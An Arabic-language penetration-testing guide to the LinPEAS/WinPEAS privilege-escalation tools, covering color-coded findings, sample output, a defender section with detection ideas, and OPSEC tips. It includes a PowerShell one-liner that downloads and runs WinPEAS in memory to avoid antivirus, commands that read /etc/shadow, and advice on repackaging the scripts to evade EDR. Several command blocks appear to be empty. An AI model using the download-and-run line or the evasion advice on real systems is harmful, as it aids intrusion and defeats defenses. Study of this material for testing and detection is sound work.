LinPEAS / WinPEAS — الدليل الكامل للتعامل مع الأدوات

تُعد مجموعة أدوات PEASS-ng (Privilege Escalation Awesome Scripts Suite) من الأدوات الأساسية للأتمتة في عملية الاستطلاع المحلي (Local Enumeration) بهدف تصعيد الصلاحيات (Privilege Escalation). تقوم هذه الأدوات بفحص شامل لكل الثغرات الممكنة: إصدارات النواة (Kernel)، ملفات SUID، الإمكانيات (Capabilities)، قواعد sudo، المهام المجدولة (Scheduled Tasks)، ضعف أذونات الخدمات (Service ACLs)، كلمات المرور المخزنة بنصوص واضحة (Cleartext creds)، قوالب AD CS، وبيانات السحابة الوصفية (Cloud Metadata). هي أول أداة يجب تشغيلها بمجرد الحصول على موطئ قدم (Foothold) في النظام.

التثبيت والتشغيل (Install / run)

يجب تشغيل الأداة بصلاحيات المستخدم الذي تم اختراقه — لا تقم بمحاولة رفع الصلاحيات قبل تشغيلها.

الأنماط والخيارات (Modes / flags)

LinPEAS

WinPEAS

نظام الترميز اللوني (What gets flagged)

• الأحمر/الأصفر (Red/Yellow) = احتمالية عالية جداً لتصعيد الصلاحيات (Privesc).
• الأخضر (Green) = معلومات عامة.
• الأزرق (Blue) = معلومات أساسية أو وضع جيد.

تعرض LinPEAS في النهاية شعار "Probable PE" يلخص أفضل الفرص المتاحة للتصعيد.

مسارات العمل (Workflows)

المسار القياسي من Linux Shell

تشغيل WinPEAS عبر Webshell (بدون الكتابة على القرص لتجنب AV)

iex (New-Object Net.WebClient).DownloadString('http://op/winPEAS.ps1')

تشغيل وحدات محددة فقط (أداء أسرع)

أبرز مخرجات الأداة (Good output highlights)

في أنظمة Linux:

[+] Vulnerable to CVE-2022-0847 (DirtyPipe)?
    YES — kernel 5.15.0 vulnerable.

[+] Looking for SUID files...
    /usr/bin/find    → انظر لموقع GTFOBins
    /tmp/secret.bin  → ملف SUID مخصص، قابل للكتابة من الجميع

[+] Sudo rules:
    User alice may run the following:
    (root) NOPASSWD: /usr/bin/python3 /opt/admin.py
        ↑ مرشح لحقن الأوامر (Command Injection)

[+] Capabilities:
    /usr/bin/python3 = cap_setuid+ep   → خدعة setuid(0)

في أنظمة Windows:

[!] Always-installed Elevated → ثغرة MSI privesc ممكنة
[!] AlwaysInstallElevated registry HKLM and HKCU = 1
[!] Service "BadService" — يمكن تعديلها من قبل Authenticated Users
[!] Unquoted service path: C:\Program Files\My App\service.exe
[!] AutoLogon credentials in registry

المشاكل التقنية والحلول (Bad / problematic output and fixes)

منظور الدفاع (Defender's perspective)

• عبر Sysmon/Auditd: ملاحظة تكرار أوامر مثل find / -perm -4000, getcap -r /, crontab -l, cat /etc/passwd, cat /etc/shadow, واستعلامات ldap — وهذا نمط سلوكي مميز لـ LinPEAS.
• في Windows: رشقات (Bursts) من عمليات قراءة WMI و ServiceController وسجل النظام (Registry) من جلسة مستخدم واحدة.

أفكار للكشف (Detection):

• قاعدة Sigma: البحث عن اسم الملف linpeas.sh في عمليات إنشاء العمليات.
• قاعدة Auditd: رصد تكرار استخدام find مع معيار -perm -4000.

أمن العمليات (OPSEC)

• أدوات LinPEAS / WinPEAS تُحدث ضجيجاً كبيراً (Noisy) بسبب آلاف فحوصات الملفات. استخدم أنماط -s -D لزيادة التخفي.
• السكربتات الافتراضية لها تواقيع (SHA-256 hashes) معروفة ترصدها أنظمة EDR — يفضل إعادة حزمها (Repackage) بتعليقات عشوائية أو تغيير أسماء المتغيرات.
• في المهمات عالية الحساسية: يفضل إجراء الاستطلاع المستهدف يدوياً (مثل sudo -l, getcap -r /, find / -perm -4000) بدلاً من تشغيل PEAS بالكامل.

أدوات ذات صلة (Related tools)